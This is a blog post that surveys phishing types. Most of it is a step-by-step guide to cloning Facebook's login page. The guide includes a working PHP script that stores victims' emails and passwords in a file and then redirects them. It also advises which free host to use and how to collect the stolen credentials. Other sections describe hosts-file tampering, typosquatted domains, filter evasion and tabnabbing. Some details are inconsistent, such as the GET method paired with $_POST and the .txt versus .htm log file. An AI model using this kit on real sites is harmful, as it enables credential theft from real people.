What is Phishing ? types of Phishing ? | by PcTricks143




hello friends ...
do you know what is phishing ? phishing page?types of phishing ?whats the uses ?
> Phishing is a method to obtain sensitive username and passwords, credit card numbers, bank accounts by claiming or pretending to be someone you are not.
> A case study shows that around 80% of email accounts such as Facebook, yahoo, hotmail etc get hacked with this method.

>  Phishing may be of many types. The most common and popular types of Phishing are:

                           1. Fake login pages
                           2. Desktop Phishing
                           3. Link manipulation
                           4. Filter Evasion
                           5. Tabnabbing

1) Fake login pages 

>  In this method a hacker creates a fake page of any website such as paypal, yahoo, orkut etc similar to the original and asks the victim to login through that page.
> Once the victim logins through that page his email id and passwords gets stored and hence gets his account gets hacked.
>  The hacker which creates exact pages without errors are familiar with HTML (Hyper text markup language) and PHP (Hypertext processor).


> Here I will show you the exact method which a hacker will take to make a fake login page.


1. First a hacker would choose a target. Here I am choosing target as Facebook.com which is most popular target among all.


2. Next the hacker would go to the target site i.e. Facebook and right click on it and click on view source.


3. Now the hacker would Copy the source and save it into a WordPad or Notepad and rename it something like Facebook.htm.

4. Now open Facebook.htm in a WordPad. Right click the file and click on open with and select WordPad. Now search for “Form method” 
      Now change action=”http://login.facebook.com/login.php” to “Pass.php” and change method=“post” to “Get”

5. Next the hacker would create a PHP script which would save the entered username and password and save it something like Pass.php. The code for the script is:



<?php /* Created on: 4/30/2017 */ $fp = fopen("FacebookPasswords.htm", "a"); fwrite($fp, "Email:$_POST[email]\tPassword: $_POST[pass]"); echo "<HTML> <head> <title>Welcome to Facebook</title> <FRAMESET cols=\"*\">  <FRAME SRC=\"http://www.fb.com\" </FRAMESET>";?>


Note: Here http://www.fb.com is the redirection url when the victim will enter his username and password in the fake page he will be redirected to www.fb.com so he wont become suspicious.


6. Now the hacker would create an account on webhosting site that supports php to upload the files. Some of popular Free hosting sites are:


i suggest you use www.000webhost.com


7. Next the hacker will upload the two files Facebook.htm and Pass.php to one of these sites




8. Once you have uploaded both the files to a webhosting site then uploaded facebook.htm is the fake page which the hacker will sent to the victim. Once the victim will enter his username and password it will be saved in a .txt file.

10. Now the hacker will just download the file and view the saved password inside



2) Desktop Phishing


> Desktop phishing is another type of Phishing.

> In desktop phishing hackers change your Windows/System32/drivers/etc/hosts file, this file controls the internet browsing in your PC. 

>Hackers send a Phisher arm which when installed into victims computer changes its Windows/System32/drivers/etc/hosts file. 

>When victim tries to log in to real page he is redirected the fake page and thus loses  his password there.

> The figure below shows the working of desktop phishing:



3)Link manipulation


> Link manipulation is another type of phishing.

>The method is same the normal fake login page but in this method the hacker does not upload the files to normal web hosting site but instead he buys a domain 

         For example: If the target is then the hacker will buy something like www.okrut.com,                                                  www.orkutt.com. When the victim will see the fake page he will think that its a                                       normal site as there is a slight difference b/w web Address therefore he/she                                      will login through it and loose their password. 


Filter evasion


> In this method the hackers use images instead of text. 

>The reason which they do so is to make it harder for anti-phishing filters to detect text.

> These are commonly used in phishing emails.

>The figure below will show you an example of a Phishing scam.

> The Hyperlink “Click here to activate your account” in the above email will take the victim to fake paypal login page where he/she will loose his password.




5) Tabnabbing


> Tabnabbing is a new type of phishing and the most dangerous one. 

>  In this method the hacker takes advantage of  multiple tabs. 

>The victim visits the attackers site and opens another tab leaving the attacker site open. 

>While the victim browse other tabs the attackers site redirects it self to the fake login page say facebook. 

>Now when the victim will see the fake page he will think it as a normal facebook page and will login through it and therefore gets his/her account hacked.
